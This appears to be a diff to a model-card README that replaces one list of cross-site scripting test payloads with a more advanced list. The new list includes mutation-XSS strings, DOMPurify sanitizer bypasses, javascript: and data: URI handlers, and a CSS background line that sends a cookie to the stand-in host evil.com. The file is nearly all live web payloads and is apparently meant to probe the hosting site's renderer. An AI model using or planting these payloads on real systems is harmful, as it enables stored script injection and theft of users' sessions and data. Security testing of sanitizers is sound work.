Update

README.md

@@ -2,50 +2,41 @@
 language: en
 license: mit
 ---
+# Advanced XSS
 
-# XSS Test
+## T1: mXSS via noscript
+<noscript><p title="</noscript><img src=x onerror=alert(1)>">
 
-## Test 1: Basic script
-<script>alert(1)</script>
+## T2: mXSS via math
+<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(2)>
 
-## Test 2: SVG onload  
-<svg onload="alert(2)">
+## T3: mXSS via svg/foreignObject
+<svg><foreignObject><div><style><!--</style><img src=x onerror=alert(3)></div></foreignObject></svg>
 
-## Test 3: IMG onerror
-<img src=x onerror="alert(3)">
+## T4: DOMPurify bypass via namespace confusion
+<svg><a><rect width="100" height="100"/><animate attributeName="href" values="javascript:alert(4)"/></a></svg>
 
-## Test 4: Details/summary
-<details open ontoggle="alert(4)"><summary>Click</summary>test</details>
+## T5: DOMPurify bypass via use
+<svg><use href="data:image/svg+xml,<svg id=x xmlns=http://www.w3.org/2000/svg><image href=1 onerror=alert(5) /></svg>#x" />
 
-## Test 5: Math/annotation
-<math><mtext><table><mglyph><style><!--</style><img src=x onerror="alert(5)">
+## T6: CSS injection
+<p style="background:url(javascript:alert(6))">test</p>
+<p style="background-image:url(https://evil.com/track?cookie=)">CSS exfil</p>
 
-## Test 6: iframe srcdoc
-<iframe srcdoc="<script>alert(6)</script>">
+## T7: Custom protocol handler  
+<a href="hf://models/test">HF Protocol</a>
 
-## Test 7: Object data
-<object data="javascript:alert(7)">
+## T8: Form with formaction
+<button formaction="javascript:alert(8)">test</button>
+<input type="image" src=x onerror="alert(8)">
 
-## Test 8: A href javascript
-[Click me](javascript:alert(8))
+## T9: Anchor with data URI
+<a href="data:text/html,<script>alert(9)</script>">Click</a>
 
-## Test 9: Markdown image with event handler
-![test](https://x" onerror="alert(9))
+## T10: Template literal
+<template><script>alert(10)</script></template>
+<xmp><script>alert(10)</script></xmp>
 
-## Test 10: HTML entity encoding
-<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(10)>
-
-## Test 11: Custom element
-<custom-element onfocus="alert(11)" autofocus tabindex=0>
-
-## Test 12: Link with target
-<a href="https://evil.com" target="_top">test</a>
-
-## Test 13: Base tag
-<base href="https://evil.com">
-
-## Test 14: Meta refresh
-<meta http-equiv="refresh" content="0;url=https://evil.com">
-
-## Test 15: Form action
-<form action="https://evil.com"><input type="submit" value="Submit"></form>
+## T11: Markdown link tricks
+[test](https://evil.com "onclick=alert(11)")
+[test](https://evil.com" onclick="alert(11))